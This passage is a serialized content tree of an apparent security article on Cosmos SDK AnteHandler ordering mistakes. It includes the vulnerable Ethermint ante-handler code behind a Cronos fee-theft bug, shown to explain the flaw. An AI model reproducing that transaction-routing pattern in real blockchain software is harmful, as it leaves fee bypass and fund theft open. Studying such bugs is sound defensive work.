6,"children":81117},{"class":155,"line":820},[81118,81122,81126,81130,81135,81139,81144],{"type":21,"tag":153,"props":81119,"children":81120},{"style":1751},[81121],{"type":26,"value":18441},{"type":21,"tag":153,"props":81123,"children":81124},{"style":192},[81125],{"type":26,"value":28540},{"type":21,"tag":153,"props":81127,"children":81128},{"style":160},[81129],{"type":26,"value":1670},{"type":21,"tag":153,"props":81131,"children":81132},{"style":192},[81133],{"type":26,"value":81134},"errorsmod",{"type":21,"tag":153,"props":81136,"children":81137},{"style":160},[81138],{"type":26,"value":355},{"type":21,"tag":153,"props":81140,"children":81141},{"style":181},[81142],{"type":26,"value":81143},"Wrap",{"type":21,"tag":153,"props":81145,"children":81146},{"style":160},[81147],{"type":26,"value":773},{"type":21,"tag":153,"props":81149,"children":81150},{"class":155,"line":842},[81151,81156,81160,81165],{"type":21,"tag":153,"props":81152,"children":81153},{"style":192},[81154],{"type":26,"value":81155},"            sdkerrors",{"type":21,"tag":153,"props":81157,"children":81158},{"style":160},[81159],{"type":26,"value":355},{"type":21,"tag":153,"props":81161,"children":81162},{"style":192},[81163],{"type":26,"value":81164},"ErrTxDecode",{"type":21,"tag":153,"props":81166,"children":81167},{"style":160},[81168],{"type":26,"value":792},{"type":21,"tag":153,"props":81170,"children":81171},{"class":155,"line":3204},[81172,81177],{"type":21,"tag":153,"props":81173,"children":81174},{"style":671},[81175],{"type":26,"value":81176},"            \"invalid tx type\"",{"type":21,"tag":153,"props":81178,"children":81179},{"style":160},[81180],{"type":26,"value":792},{"type":21,"tag":153,"props":81182,"children":81183},{"class":155,"line":3230},[81184],{"type":21,"tag":153,"props":81185,"children":81186},{"style":160},[81187],{"type":26,"value":70615},{"type":21,"tag":153,"props":81189,"children":81190},{"class":155,"line":3239},[81191],{"type":21,"tag":153,"props":81192,"children":81193},{"style":160},[81194],{"type":26,"value":539},{"type":21,"tag":153,"props":81196,"children":81197},{"class":155,"line":3253},[81198],{"type":21,"tag":153,"props":81199,"children":81200},{"emptyLinePlaceholder":16},[81201],{"type":26,"value":759},{"type":21,"tag":153,"props":81203,"children":81204},{"class":155,"line":3301},[81205,81210,81214,81219,81223,81228],{"type":21,"tag":153,"props":81206,"children":81207},{"style":192},[81208],{"type":26,"value":81209},"    signers",{"type":21,"tag":153,"props":81211,"children":81212},{"style":198},[81213],{"type":26,"value":78713},{"type":21,"tag":153,"props":81215,"children":81216},{"style":192},[81217],{"type":26,"value":81218}," sigTx",{"type":21,"tag":153,"props":81220,"children":81221},{"style":160},[81222],{"type":26,"value":355},{"type":21,"tag":153,"props":81224,"children":81225},{"style":181},[81226],{"type":26,"value":81227},"GetSigners",{"type":21,"tag":153,"props":81229,"children":81230},{"style":160},[81231],{"type":26,"value":10462},{"type":21,"tag":153,"props":81233,"children":81234},{"class":155,"line":3346},[81235,81239,81243,81247,81251,81255,81259,81264],{"type":21,"tag":153,"props":81236,"children":81237},{"style":1751},[81238],{"type":26,"value":5784},{"type":21,"tag":153,"props":81240,"children":81241},{"style":192},[81242],{"type":26,"value":6143},{"type":21,"tag":153,"props":81244,"children":81245},{"style":160},[81246],{"type":26,"value":1670},{"type":21,"tag":153,"props":81248,"children":81249},{"style":192},[81250],{"type":26,"value":9874},{"type":21,"tag":153,"props":81252,"children":81253},{"style":198},[81254],{"type":26,"value":78713},{"type":21,"tag":153,"props":81256,"children":81257},{"style":1751},[81258],{"type":26,"value":79696},{"type":21,"tag":153,"props":81260,"children":81261},{"style":192},[81262],{"type":26,"value":81263}," signers",{"type":21,"tag":153,"props":81265,"children":81266},{"style":160},[81267],{"type":26,"value":236},{"type":21,"tag":153,"props":81269,"children":81270},{"class":155,"line":3355},[81271,81276,81280,81285,81289,81294,81298,81303,81307,81311,81315,81319,81323,81328],{"type":21,"tag":153,"props":81272,"children":81273},{"style":192},[81274],{"type":26,"value":81275},"        balance",{"type":21,"tag":153,"props":81277,"children":81278},{"style":198},[81279],{"type":26,"value":78713},{"type":21,"tag":153,"props":81281,"children":81282},{"style":192},[81283],{"type":26,"value":81284}," abd",{"type":21,"tag":153,"props":81286,"children":81287},{"style":160},[81288],{"type":26,"value":355},{"type":21,"tag":153,"props":81290,"children":81291},{"style":192},[81292],{"type":26,"value":81293},"bk",{"type":21,"tag":153,"props":81295,"children":81296},{"style":160},[81297],{"type":26,"value":355},{"type":21,"tag":153,"props":81299,"children":81300},{"style":181},[81301],{"type":26,"value":81302},"getBalance",{"type":21,"tag":153,"props":81304,"children":81305},{"style":160},[81306],{"type":26,"value":189},{"type":21,"tag":153,"props":81308,"children":81309},{"style":192},[81310],{"type":26,"value":1882},{"type":21,"tag":153,"props":81312,"children":81313},{"style":160},[81314],{"type":26,"value":1670},{"type":21,"tag":153,"props":81316,"children":81317},{"style":192},[81318],{"type":26,"value":9874},{"type":21,"tag":153,"props":81320,"children":81321},{"style":160},[81322],{"type":26,"value":1670},{"type":21,"tag":153,"props":81324,"children":81325},{"style":192},[81326],{"type":26,"value":81327},"ATOM",{"type":21,"tag":153,"props":81329,"children":81330},{"style":160},[81331],{"type":26,"value":5909},{"type":21,"tag":153,"props":81333,"children":81334},{"class":155,"line":3364},[81335,81339,81344,81348,81353,81357,81362],{"type":21,"tag":153,"props":81336,"children":81337},{"style":1751},[81338],{"type":26,"value":2607},{"type":21,"tag":153,"props":81340,"children":81341},{"style":192},[81342],{"type":26,"value":81343}," balance",{"type":21,"tag":153,"props":81345,"children":81346},{"style":160},[81347],{"type":26,"value":355},{"type":21,"tag":153,"props":81349,"children":81350},{"style":192},[81351],{"type":26,"value":81352},"Amount",{"type":21,"tag":153,"props":81354,"children":81355},{"style":198},[81356],{"type":26,"value":4094},{"type":21,"tag":153,"props":81358,"children":81359},{"style":192},[81360],{"type":26,"value":81361}," MIN_BALANCE",{"type":21,"tag":153,"props":81363,"children":81364},{"style":160},[81365],{"type":26,"value":236},{"type":21,"tag":153,"props":81367,"children":81368},{"class":155,"line":3376},[81369,81374,81378,81382,81386,81390,81394],{"type":21,"tag":153,"props":81370,"children":81371},{"style":1751},[81372],{"type":26,"value":81373},"            return",{"type":21,"tag":153,"props":81375,"children":81376},{"style":192},[81377],{"type":26,"value":28540},{"type":21,"tag":153,"props":81379,"children":81380},{"style":160},[81381],{"type":26,"value":1670},{"type":21,"tag":153,"props":81383,"children":81384},{"style":192},[81385],{"type":26,"value":81134},{"type":21,"tag":153,"props":81387,"children":81388},{"style":160},[81389],{"type":26,"value":355},{"type":21,"tag":153,"props":81391,"children":81392},{"style":181},[81393],{"type":26,"value":81143},{"type":21,"tag":153,"props":81395,"children":81396},{"style":160},[81397],{"type":26,"value":773},{"type":21,"tag":153,"props":81399,"children":81400},{"class":155,"line":3393},[81401,81406],{"type":21,"tag":153,"props":81402,"children":81403},{"style":192},[81404],{"type":26,"value":81405},"                ErrInsufficientBalance",{"type":21,"tag":153,"props":81407,"children":81408},{"style":160},[81409],{"type":26,"value":792},{"type":21,"tag":153,"props":81411,"children":81412},{"class":155,"line":3405},[81413,81418],{"type":21,"tag":153,"props":81414,"children":81415},{"style":671},[81416],{"type":26,"value":81417},"                \"Insufficient Balance\"",{"type":21,"tag":153,"props":81419,"children":81420},{"style":160},[81421],{"type":26,"value":792},{"type":21,"tag":153,"props":81423,"children":81424},{"class":155,"line":3427},[81425],{"type":21,"tag":153,"props":81426,"children":81427},{"style":160},[81428],{"type":26,"value":79812},{"type":21,"tag":153,"props":81430,"children":81431},{"class":155,"line":3448},[81432],{"type":21,"tag":153,"props":81433,"children":81434},{"style":160},[81435],{"type":26,"value":2765},{"type":21,"tag":153,"props":81437,"children":81438},{"class":155,"line":3456},[81439],{"type":21,"tag":153,"props":81440,"children":81441},{"style":160},[81442],{"type":26,"value":539},{"type":21,"tag":153,"props":81444,"children":81445},{"class":155,"line":3493},[81446],{"type":21,"tag":153,"props":81447,"children":81448},{"emptyLinePlaceholder":16},[81449],{"type":26,"value":759},{"type":21,"tag":153,"props":81451,"children":81452},{"class":155,"line":3509},[81453,81457,81462,81466,81470,81474,81479,81483,81488],{"type":21,"tag":153,"props":81454,"children":81455},{"style":1751},[81456],{"type":26,"value":19687},{"type":21,"tag":153,"props":81458,"children":81459},{"style":181},[81460],{"type":26,"value":81461}," next",{"type":21,"tag":153,"props":81463,"children":81464},{"style":160},[81465],{"type":26,"value":189},{"type":21,"tag":153,"props":81467,"children":81468},{"style":192},[81469],{"type":26,"value":1882},{"type":21,"tag":153,"props":81471,"children":81472},{"style":160},[81473],{"type":26,"value":1670},{"type":21,"tag":153,"props":81475,"children":81476},{"style":192},[81477],{"type":26,"value":81478},"tx",{"type":21,"tag":153,"props":81480,"children":81481},{"style":160},[81482],{"type":26,"value":1670},{"type":21,"tag":153,"props":81484,"children":81485},{"style":192},[81486],{"type":26,"value":81487},"simulate",{"type":21,"tag":153,"props":81489,"children":81490},{"style":160},[81491],{"type":26,"value":5909},{"type":21,"tag":153,"props":81493,"children":81494},{"class":155,"line":3517},[81495],{"type":21,"tag":153,"props":81496,"children":81497},{"style":160},[81498],{"type":26,"value":548},{"type":21,"tag":22,"props":81500,"children":81501},{},[81502,81504,81509,81511,81517,81519,81525],{"type":26,"value":81503},"Where should this custom ",{"type":21,"tag":78,"props":81505,"children":81507},{"className":81506},[],[81508],{"type":26,"value":80767},{"type":26,"value":81510}," be placed relative to other ",{"type":21,"tag":78,"props":81512,"children":81514},{"className":81513},[],[81515],{"type":26,"value":81516},"AnteHandlers",{"type":26,"value":81518}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":21,"tag":78,"props":81520,"children":81522},{"className":81521},[],[81523],{"type":26,"value":81524},"SetUpContextDecorator",{"type":26,"value":81526}," should work, right?",{"type":21,"tag":22,"props":81528,"children":81529},{},[81530],{"type":21,"tag":29,"props":81531,"children":81534},{"href":81532,"rel":81533},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[33],[81535],{"type":26,"value":79036},{"type":21,"tag":143,"props":81537,"children":81539},{"code":81538,"language":78461,"meta":7,"className":78462,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[81540],{"type":21,"tag":78,"props":81541,"children":81542},{"__ignoreMap":7},[81543,81576,81593,81601,81630,81642,81654,81683,81711,81790,81823,81851,81896,81941,81969],{"type":21,"tag":153,"props":81544,"children":81545},{"class":155,"line":156},[81546,81551,81555,81559,81563,81567,81572],{"type":21,"tag":153,"props":81547,"children":81548},{"style":192},[81549],{"type":26,"value":81550},"anteDecorators",{"type":21,"tag":153,"props":81552,"children":81553},{"style":198},[81554],{"type":26,"value":78713},{"type":21,"tag":153,"props":81556,"children":81557},{"style":160},[81558],{"type":26,"value":78524},{"type":21,"tag":153,"props":81560,"children":81561},{"style":214},[81562],{"type":26,"value":81027},{"type":21,"tag":153,"props":81564,"children":81565},{"style":160},[81566],{"type":26,"value":355},{"type":21,"tag":153,"props":81568,"children":81569},{"style":214},[81570],{"type":26,"value":81571},"AnteDecorator",{"type":21,"tag":153,"props":81573,"children":81574},{"style":160},[81575],{"type":26,"value":13601},{"type":21,"tag":153,"props":81577,"children":81578},{"class":155,"line":166},[81579,81584,81588],{"type":21,"tag":153,"props":81580,"children":81581},{"style":181},[81582],{"type":26,"value":81583},"    NewSetUpContextDecorator",{"type":21,"tag":153,"props":81585,"children":81586},{"style":160},[81587],{"type":26,"value":21072},{"type":21,"tag":153,"props":81589,"children":81590},{"style":3050},[81591],{"type":26,"value":81592},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":21,"tag":153,"props":81594,"children":81595},{"class":155,"line":225},[81596],{"type":21,"tag":153,"props":81597,"children":81598},{"style":3050},[81599],{"type":26,"value":81600},"    // INSERT HERE\n",{"type":21,"tag":153,"props":81602,"children":81603},{"class":155,"line":239},[81604,81609,81613,81617,81621,81626],{"type":21,"tag":153,"props":81605,"children":81606},{"style":181},[81607],{"type":26,"value":81608},"    NewExtensionOptionsDecorator",{"type":21,"tag":153,"props":81610,"children":81611},{"style":160},[81612],{"type":26,"value":189},{"type":21,"tag":153,"props":81614,"children":81615},{"style":192},[81616],{"type":26,"value":38731},{"type":21,"tag":153,"props":81618,"children":81619},{"style":160},[81620],{"type":26,"value":355},{"type":21,"tag":153,"props":81622,"children":81623},{"style":192},[81624],{"type":26,"value":81625},"ExtensionOptionChecker",{"type":21,"tag":153,"props":81627,"children":81628},{"style":160},[81629],{"type":26,"value":679},{"type":21,"tag":153,"props":81631,"children":81632},{"class":155,"line":382},[81633,81638],{"type":21,"tag":153,"props":81634,"children":81635},{"style":181},[81636],{"type":26,"value":81637},"    NewValidateBasicDecorator",{"type":21,"tag":153,"props":81639,"children":81640},{"style":160},[81641],{"type":26,"value":721},{"type":21,"tag":153,"props":81643,"children":81644},{"class":155,"line":501},[81645,81650],{"type":21,"tag":153,"props":81646,"children":81647},{"style":181},[81648],{"type":26,"value":81649},"    NewTxTimeoutHeightDecorator",{"type":21,"tag":153,"props":81651,"children":81652},{"style":160},[81653],{"type":26,"value":721},{"type":21,"tag":153,"props":81655,"children":81656},{"class":155,"line":533},[81657,81662,81666,81670,81674,81679],{"type":21,"tag":153,"props":81658,"children":81659},{"style":181},[81660],{"type":26,"value":81661},"    NewValidateMemoDecorator",{"type":21,"tag":153,"props":81663,"children":81664},{"style":160},[81665],{"type":26,"value":189},{"type":21,"tag":153,"props":81667,"children":81668},{"style":192},[81669],{"type":26,"value":38731},{"type":21,"tag":153,"props":81671,"children":81672},{"style":160},[81673],{"type":26,"value":355},{"type":21,"tag":153,"props":81675,"children":81676},{"style":192},[81677],{"type":26,"value":81678},"AccountKeeper",{"type":21,"tag":153,"props":81680,"children":81681},{"style":160},[81682],{"type":26,"value":679},{"type":21,"tag":153,"props":81684,"children":81685},{"class":155,"line":542},[81686,81691,81695,81699,81703,81707],{"type":21,"tag":153,"props":81687,"children":81688},{"style":181},[81689],{"type":26,"value":81690},"    NewConsumeGasForTxSizeDecorator",{"type":21,"tag":153,"props":81692,"children":81693},{"style":160},[81694],{"type":26,"value":189},{"type":21,"tag":153,"props":81696,"children":81697},{"style":192},[81698],{"type":26,"value":38731},{"type":21,"tag":153,"props":81700,"children":81701},{"style":160},[81702],{"type":26,"value":355},{"type":21,"tag":153,"props":81704,"children":81705},{"style":192},[81706],{"type":26,"value":81678},{"type":21,"tag":153,"props":81708,"children":81709},{"style":160},[81710],{"type":26,"value":679},{"type":21,"tag":153,"props":81712,"children":81713},{"class":155,"line":762},[81714,81719,81723,81727,81731,81735,81739,81743,81747,81752,81756,81760,81764,81769,81773,81777,81781,81786],{"type":21,"tag":153,"props":81715,"children":81716},{"style":181},[81717],{"type":26,"value":81718},"    NewDeductFeeDecorator",{"type":21,"tag":153,"props":81720,"children":81721},{"style":160},[81722],{"type":26,"value":189},{"type":21,"tag":153,"props":81724,"children":81725},{"style":192},[81726],{"type":26,"value":38731},{"type":21,"tag":153,"props":81728,"children":81729},{"style":160},[81730],{"type":26,"value":355},{"type":21,"tag":153,"props":81732,"children":81733},{"style":192},[81734],{"type":26,"value":81678},{"type":21,"tag":153,"props":81736,"children":81737},{"style":160},[81738],{"type":26,"value":1670},{"type":21,"tag":153,"props":81740,"children":81741},{"style":192},[81742],{"type":26,"value":38731},{"type":21,"tag":153,"props":81744,"children":81745},{"style":160},[81746],{"type":26,"value":355},{"type":21,"tag":153,"props":81748,"children":81749},{"style":192},[81750],{"type":26,"value":81751},"BankKeeper",{"type":21,"tag":153,"props":81753,"children":81754},{"style":160},[81755],{"type":26,"value":1670},{"type":21,"tag":153,"props":81757,"children":81758},{"style":192},[81759],{"type":26,"value":38731},{"type":21,"tag":153,"props":81761,"children":81762},{"style":160},[81763],{"type":26,"value":355},{"type":21,"tag":153,"props":81765,"children":81766},{"style":192},[81767],{"type":26,"value":81768},"FeegrantKeeper",{"type":21,"tag":153,"props":81770,"children":81771},{"style":160},[81772],{"type":26,"value":1670},{"type":21,"tag":153,"props":81774,"children":81775},{"style":192},[81776],{"type":26,"value":38731},{"type":21,"tag":153,"props":81778,"children":81779},{"style":160},[81780],{"type":26,"value":355},{"type":21,"tag":153,"props":81782,"children":81783},{"style":192},[81784],{"type":26,"value":81785},"TxFeeChecker",{"type":21,"tag":153,"props":81787,"children":81788},{"style":160},[81789],{"type":26,"value":679},{"type":21,"tag":153,"props":81791,"children":81792},{"class":155,"line":776},[81793,81798,81802,81806,81810,81814,81818],{"type":21,"tag":153,"props":81794,"children":81795},{"style":181},[81796],{"type":26,"value":81797},"    NewSetPubKeyDecorator",{"type":21,"tag":153,"props":81799,"children":81800},{"style":160},[81801],{"type":26,"value":189},{"type":21,"tag":153,"props":81803,"children":81804},{"style":192},[81805],{"type":26,"value":38731},{"type":21,"tag":153,"props":81807,"children":81808},{"style":160},[81809],{"type":26,"value":355},{"type":21,"tag":153,"props":81811,"children":81812},{"style":192},[81813],{"type":26,"value":81678},{"type":21,"tag":153,"props":81815,"children":81816},{"style":160},[81817],{"type":26,"value":17877},{"type":21,"tag":153,"props":81819,"children":81820},{"style":3050},[81821],{"type":26,"value":81822},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":21,"tag":153,"props":81824,"children":81825},{"class":155,"line":795},[81826,81831,81835,81839,81843,81847],{"type":21,"tag":153,"props":81827,"children":81828},{"style":181},[81829],{"type":26,"value":81830},"    NewValidateSigCountDecorator",{"type":21,"tag":153,"props":81832,"children":81833},{"style":160},[81834],{"type":26,"value":189},{"type":21,"tag":153,"props":81836,"children":81837},{"style":192},[81838],{"type":26,"value":38731},{"type":21,"tag":153,"props":81840,"children":81841},{"style":160},[81842],{"type":26,"value":355},{"type":21,"tag":153,"props":81844,"children":81845},{"style":192},[81846],{"type":26,"value":81678},{"type":21,"tag":153,"props":81848,"children":81849},{"style":160},[81850],{"type":26,"value":679},{"type":21,"tag":153,"props":81852,"children":81853},{"class":155,"line":808},[81854,81859,81863,81867,81871,81875,81879,81883,81887,81892],{"type":21,"tag":153,"props":81855,"children":81856},{"style":181},[81857],{"type":26,"value":81858},"    NewSigGasConsumeDecorator",{"type":21,"tag":153,"props":81860,"children":81861},{"style":160},[81862],{"type":26,"value":189},{"type":21,"tag":153,"props":81864,"children":81865},{"style":192},[81866],{"type":26,"value":38731},{"type":21,"tag":153,"props":81868,"children":81869},{"style":160},[81870],{"type":26,"value":355},{"type":21,"tag":153,"props":81872,"children":81873},{"style":192},[81874],{"type":26,"value":81678},{"type":21,"tag":153,"props":81876,"children":81877},{"style":160},[81878],{"type":26,"value":1670},{"type":21,"tag":153,"props":81880,"children":81881},{"style":192},[81882],{"type":26,"value":38731},{"type":21,"tag":153,"props":81884,"children":81885},{"style":160},[81886],{"type":26,"value":355},{"type":21,"tag":153,"props":81888,"children":81889},{"style":192},[81890],{"type":26,"value":81891},"SigGasConsumer",{"type":21,"tag":153,"props":81893,"children":81894},{"style":160},[81895],{"type":26,"value":679},{"type":21,"tag":153,"props":81897,"children":81898},{"class":155,"line":820},[81899,81904,81908,81912,81916,81920,81924,81928,81932,81937],{"type":21,"tag":153,"props":81900,"children":81901},{"style":181},[81902],{"type":26,"value":81903},"    NewSigVerificationDecorator",{"type":21,"tag":153,"props":81905,"children":81906},{"style":160},[81907],{"type":26,"value":189},{"type":21,"tag":153,"props":81909,"children":81910},{"style":192},[81911],{"type":26,"value":38731},{"type":21,"tag":153,"props":81913,"children":81914},{"style":160},[81915],{"type":26,"value":355},{"type":21,"tag":153,"props":81917,"children":81918},{"style":192},[81919],{"type":26,"value":81678},{"type":21,"tag":153,"props":81921,"children":81922},{"style":160},[81923],{"type":26,"value":1670},{"type":21,"tag":153,"props":81925,"children":81926},{"style":192},[81927],{"type":26,"value":38731},{"type":21,"tag":153,"props":81929,"children":81930},{"style":160},[81931],{"type":26,"value":355},{"type":21,"tag":153,"props":81933,"children":81934},{"style":192},[81935],{"type":26,"value":81936},"SignModeHandler",{"type":21,"tag":153,"props":81938,"children":81939},{"style":160},[81940],{"type":26,"value":679},{"type":21,"tag":153,"props":81942,"children":81943},{"class":155,"line":842},[81944,81949,81953,81957,81961,81965],{"type":21,"tag":153,"props":81945,"children":81946},{"style":181},[81947],{"type":26,"value":81948},"    NewIncrementSequenceDecorator",{"type":21,"tag":153,"props":81950,"children":81951},{"style":160},[81952],{"type":26,"value":189},{"type":21,"tag":153,"props":81954,"children":81955},{"style":192},[81956],{"type":26,"value":38731},{"type":21,"tag":153,"props":81958,"children":81959},{"style":160},[81960],{"type":26,"value":355},{"type":21,"tag":153,"props":81962,"children":81963},{"style":192},[81964],{"type":26,"value":81678},{"type":21,"tag":153,"props":81966,"children":81967},{"style":160},[81968],{"type":26,"value":679},{"type":21,"tag":153,"props":81970,"children":81971},{"class":155,"line":3204},[81972],{"type":21,"tag":153,"props":81973,"children":81974},{"style":160},[81975],{"type":26,"value":548},{"type":21,"tag":22,"props":81977,"children":81978},{},[81979,81981,81986,81988,81994,81995,82001],{"type":26,"value":81980},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":21,"tag":78,"props":81982,"children":81984},{"className":81983},[],[81985],{"type":26,"value":81516},{"type":26,"value":81987},", such as ",{"type":21,"tag":78,"props":81989,"children":81991},{"className":81990},[],[81992],{"type":26,"value":81993},"SigGasConsumeDecorator",{"type":26,"value":52},{"type":21,"tag":78,"props":81996,"children":81998},{"className":81997},[],[81999],{"type":26,"value":82000},"ConsumeGasForTxSizeDecorator",{"type":26,"value":82002},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":21,"tag":22,"props":82004,"children":82005},{},[82006,82008,82014,82016,82021],{"type":26,"value":82007},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":21,"tag":78,"props":82009,"children":82011},{"className":82010},[],[82012],{"type":26,"value":82013},"msgs",{"type":26,"value":82015}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":21,"tag":78,"props":82017,"children":82019},{"className":82018},[],[82020],{"type":26,"value":80842},{"type":26,"value":82022}," chain.",{"type":21,"tag":114,"props":82024,"children":82026},{"id":82025},"real-world-examples-2",[82027],{"type":26,"value":78986},{"type":21,"tag":22,"props":82029,"children":82030},{},[82031,82033,82038,82040,82047],{"type":26,"value":82032},"An instance of ",{"type":21,"tag":78,"props":82034,"children":82036},{"className":82035},[],[82037],{"type":26,"value":80767},{"type":26,"value":82039}," misuse is a ",{"type":21,"tag":29,"props":82041,"children":82044},{"href":82042,"rel":82043},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[33],[82045],{"type":26,"value":82046},"Theft of Fund bug",{"type":26,"value":82048}," that was exploited in a Cronos contract.",{"type":21,"tag":22,"props":82050,"children":82051},{},[82052,82054,82059,82061,82066,82068,82074,82076,82082,82084,82089,82091,82096],{"type":26,"value":82053},"In this scenario, ",{"type":21,"tag":78,"props":82055,"children":82057},{"className":82056},[],[82058],{"type":26,"value":82013},{"type":26,"value":82060}," are multiplexed to different ",{"type":21,"tag":78,"props":82062,"children":82064},{"className":82063},[],[82065],{"type":26,"value":80767},{"type":26,"value":82067}," sets through the user-controlled ",{"type":21,"tag":78,"props":82069,"children":82071},{"className":82070},[],[82072],{"type":26,"value":82073},"ExtensionOptionsEthereumTx",{"type":26,"value":82075}," option. However, due to a lack of tx validation, if a ",{"type":21,"tag":78,"props":82077,"children":82079},{"className":82078},[],[82080],{"type":26,"value":82081},"MsgEthereumTx",{"type":26,"value":82083}," does not have ",{"type":21,"tag":78,"props":82085,"children":82087},{"className":82086},[],[82088],{"type":26,"value":82073},{"type":26,"value":82090}," specified, it will be routed to non-Ethereum ",{"type":21,"tag":78,"props":82092,"children":82094},{"className":82093},[],[82095],{"type":26,"value":81516},{"type":26,"value":82097},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":21,"tag":22,"props":82099,"children":82100},{},[82101],{"type":21,"tag":29,"props":82102,"children":82105},{"href":82103,"rel":82104},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[33],[82106],{"type":26,"value":79036},{"type":21,"tag":143,"props":82108,"children":82110},{"code":82109,"language":78461,"meta":7,"className":78462,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[82111],{"type":21,"tag":78,"props":82112,"children":82113},{"__ignoreMap":7},[82114,82130,82155,82179,82196,82221,82247,82272,82295,82311,82367,82408,82434,82441,82487,82494,82540,82556,82586,82621,82673,82690,82698,82705,82734,82750,82758,82784,82792,82799,82811,82845,82891,82903,82910,82917,82924,82963,82970,82977,82984,82992,82999,83023,83047,83075,83100,83108,83141,83148,83160,83191,83246,83259,83267,83275,83283,83323,83331],{"type":21,"tag":153,"props":82115,"children":82116},{"class":155,"line":156},[82117,82121,82126],{"type":21,"tag":153,"props":82118,"children":82119},{"style":170},[82120],{"type":26,"value":78597},{"type":21,"tag":153,"props":82122,"children":82123},{"style":181},[82124],{"type":26,"value":82125}," NewAnteHandler",{"type":21,"tag":153,"props":82127,"children":82128},{"style":160},[82129],{"type":26,"value":773},{"type":21,"tag":153,"props":82131,"children":82132},{"class":155,"line":166},[82133,82138,82143,82147,82151],{"type":21,"tag":153,"props":82134,"children":82135},{"style":192},[82136],{"type":26,"value":82137},"    ak",{"type":21,"tag":153,"props":82139,"children":82140},{"style":214},[82141],{"type":26,"value":82142}," evmtypes",{"type":21,"tag":153,"props":82144,"children":82145},{"style":160},[82146],{"type":26,"value":355},{"type":21,"tag":153,"props":82148,"children":82149},{"style":214},[82150],{"type":26,"value":81678},{"type":21,"tag":153,"props":82152,"children":82153},{"style":160},[82154],{"type":26,"value":792},{"type":21,"tag":153,"props":82156,"children":82157},{"class":155,"line":225},[82158,82163,82167,82171,82175],{"type":21,"tag":153,"props":82159,"children":82160},{"style":192},[82161],{"type":26,"value":82162},"    bankKeeper",{"type":21,"tag":153,"props":82164,"children":82165},{"style":214},[82166],{"type":26,"value":82142},{"type":21,"tag":153,"props":82168,"children":82169},{"style":160},[82170],{"type":26,"value":355},{"type":21,"tag":153,"props":82172,"children":82173},{"style":214},[82174],{"type":26,"value":81751},{"type":21,"tag":153,"props":82176,"children":82177},{"style":160},[82178],{"type":26,"value":792},{"type":21,"tag":153,"props":82180,"children":82181},{"class":155,"line":239},[82182,82187,82192],{"type":21,"tag":153,"props":82183,"children":82184},{"style":192},[82185],{"type":26,"value":82186},"    evmKeeper",{"type":21,"tag":153,"props":82188,"children":82189},{"style":214},[82190],{"type":26,"value":82191}," 